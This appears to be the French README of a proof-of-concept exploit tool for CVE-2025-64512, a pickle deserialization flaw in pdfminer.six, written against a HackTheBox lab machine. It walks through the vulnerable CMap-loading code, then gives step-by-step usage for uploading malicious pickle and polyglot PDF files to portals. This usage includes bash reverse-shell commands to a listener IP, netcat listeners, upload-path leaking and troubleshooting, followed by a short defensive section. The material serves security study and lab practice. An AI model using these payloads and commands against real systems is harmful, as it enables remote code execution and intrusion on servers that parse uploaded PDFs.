PoC Python pour CVE-2025-64512, une RCE par désérialisation de pickle dans pdfminer.six. Génère des charges utiles pickle compressées en gzip et des PDF polyglottes, puis les livre à des portails de téléversement pour des tests autorisés.
| CVE | CVE-2025-64512 |
| Affecté | pdfminer.six < 20251107 (corrigé dans 20251107 — les CMaps sont devenus du JSON) |
| Victimes en aval | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Type | CWE-502 désérialisation de données non fiables → RCE non authentifiée |
| PoC de référence | luigigubello/CVE-2025-64512-Polyglot-PoC (variante polyglotte mono-fichier) |
Cible testée : https://app.hackthebox.com/machines/Bedside
pdfminer.six est une bibliothèque Python populaire pour extraire du texte depuis des PDF. Les polices PDF
ont besoin de CMaps — des tables qui traduisent les codes de caractères en Unicode — et pdfminer
les fournit sous forme de pickles gzippés (<name>.pickle.gz) à l'intérieur de son propre paquet.
Regardez comment un CMap est chargé (pdfminer/cmapdb.py, toutes les versions antérieures à 20251107) :
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Trois failles s'empilent :
name provient du PDF lui-même. L'entrée /Encoding d'une police Type0 (CID) est
un name PDF, et l'attaquant le contrôle entièrement. Les noms PDF ne peuvent pas contenir un
/ brut, il est donc écrit avec les échappements hexadécimaux standard RFC : le nom
/#2f#76#61#72#2f… se décode en /var/….os.path.join. Lorsque le second argument est absolu, le premier est
entièrement ignoré. Ainsi un nom /var/www/site/uploads/shell fait que pdfminer regarde
/var/www/site/uploads/shell.pickle.gz — n'importe quel chemin sur le disque — au lieu de son
propre répertoire CMap.pickle.loads() sur le contenu du fichier. Un pickle peut porter des instructions
« reconstruis-moi en appelant cette fonction » (__reduce__). Désérialiser des octets
contrôlés par l'attaquant = exécuter du code attaquant, à l'intérieur du processus qui a appelé pdfminer.Prérequis d'exploitation — le bug est trivialement exploitable sur toute application qui vous donne les deux moitiés de l'équation :
{"__reduce__": eval("__import__('os').system('<votre commande>')")}./Encoding nomme le chemin absolu de votre pickle.--mode two (par défaut) — uploade <name>.pickle.gz, puis <name>.pdf.
À utiliser chaque fois que la cible n'analyse que les fichiers avec une extension PDF
(par ex. un watcher qui glob uploads/*.pdf).--mode polyglot — uploade un seul fichier <name>.pickle.gz qui est à la fois
un gzip-pickle valide et un PDF valide : tout le PDF se cache dans le champ FCOMMENT
de l'en-tête gzip (la RFC 1952 autorise les commentaires ; la signature %PDF- se trouve
à l'octet 10, et les offsets xref sont pré-décalés pour que la table reste valide).
À utiliser lorsque la cible analyse tout fichier uploadé comme PDF quelle que soit
l'extension (convertisseurs de type markitdown).--verify), attend le cycle de
traitement de la cible (--wait), et peut préfixer un oracle de callback (--callback)
qui rappelle la maison avant l'exécution de votre commande — afin de prouver l'exécution même si
votre canal principal échoue.Rien à installer — Python 3.10+ (utilise la syntaxe str | None) :
chmod +x cve_2025_64512.py
Générez des payloads d'exemple et (si un pdfminer vulnérable est importable) exécutez-les dans votre propre Python pour prouver que la chaîne fonctionne avant de toucher une cible :
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
La sortie attendue se termine par SELFTEST PASS pour le déclencheur à deux fichiers et pour le
polyglotte. Vous pouvez aussi tester manuellement :
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Référence complète des arguments :
| Argument | Rôle |
|---|---|
--command | Commande shell à exécuter sur la cible (requis). Elle s'exécute sous sh -c, donc pipes/redirections/sous-shells fonctionnent. |
--url | L'endpoint d'upload qui reçoit les POST multipart. |
--upload-url | Remplace la cible du POST si les uploads vont vers une URL différente de --url. |
--field | Nom du champ multipart (lisez le <form> HTML du portail ; courants : uploadFile, file). |
--path | Répertoire absolu côté serveur où arrivent les uploads (par ex. /var/www/site/uploads). Le PDF y nomme le pickle, il doit donc être exact. |
--leak-path | Vous ne connaissez pas le chemin ? Uploadez du contenu malformé et récupérez-le depuis le message d'erreur du portail (beaucoup de portails affichent la destination). |
--name | Nom de base des fichiers générés (par défaut shell). Randomisez si vous relancez pour éviter les fichiers obsolètes. |
--mode | two (par défaut) ou polyglot — voir §2. |
--callback URL | Préfixe un fetch HTTP vers URL avant votre commande ; lancez python3 -m http.server 8000 et guettez le hit. Oracle d'exécution. |
--wait N | Dort N secondes après l'upload — calez-vous sur la cadence de traitement de la cible (les watchers/cron sondent souvent toutes les 30 s ; attendez un cycle complet avant de conclure à l'échec). |
--verify /uploads | GET chaque fichier uploadé ensuite pour confirmer qu'il est arrivé là où le PDF l'attend. |
--timeout, --out-dir, --no-upload, --selftest | Timeout HTTP, répertoire de sortie local, mode génération seule, répétition locale. |
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # listener
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"
# → shell as the pdfminer service user (on Bedside: datawrangler, inside a container)
| Symptôme | Cause / correctif |
|---|---|
MIME type mismatch à l'upload | Le portail renifle le contenu, pas seulement l'extension. Les deux payloads sont de vrais gzip / de vrais PDF — vérifiez que vous ne les avez pas tronqués ; le trigger doit commencer par %PDF-, le pickle doit se décompresser (gzip -t). |
| Upload OK, rien ne s'exécute | 1) Attendez un cycle complet de watcher/cron (--wait 35). 2) Confirmez que le pickle est accessible à <path>/<name>.pickle.gz (--verify). 3) Vérifiez que le processus exécutant pdfminer peut lire votre fichier. 4) Utilisez --callback pour un signal d'exécution définitif. |
| Chemin d'upload inconnu | --leak-path, ou déclenchez n'importe quelle erreur de validation et lisez le message. |
| Le polyglotte ne se déclenche jamais | Le fichier analysé doit être le même fichier se terminant par .pickle.gz. Si la cible n'analyse que les uploads *.pdf, utilisez --mode two. |
TypeError: type.__new__() argument 3 must be dict dans les logs cibles | C'est un succès — pdfminer a exécuté votre pickle puis a trébuché sur sa propre valeur de retour. Inoffensif. |
| Cible patchée | pdfminer ≥ 20251107 charge les CMaps depuis du JSON. Rien à exploiter ici. |
pickle.loads, torch.load,
yaml.load sur des octets non fiables relèvent tous de la même classe de bug. Préférez
les formats de données seuls (JSON, Safetensors, ONNX).X-Powered-By et renvoyez des erreurs génériques — les deux ont fuité
la liste des ingrédients sur Bedside.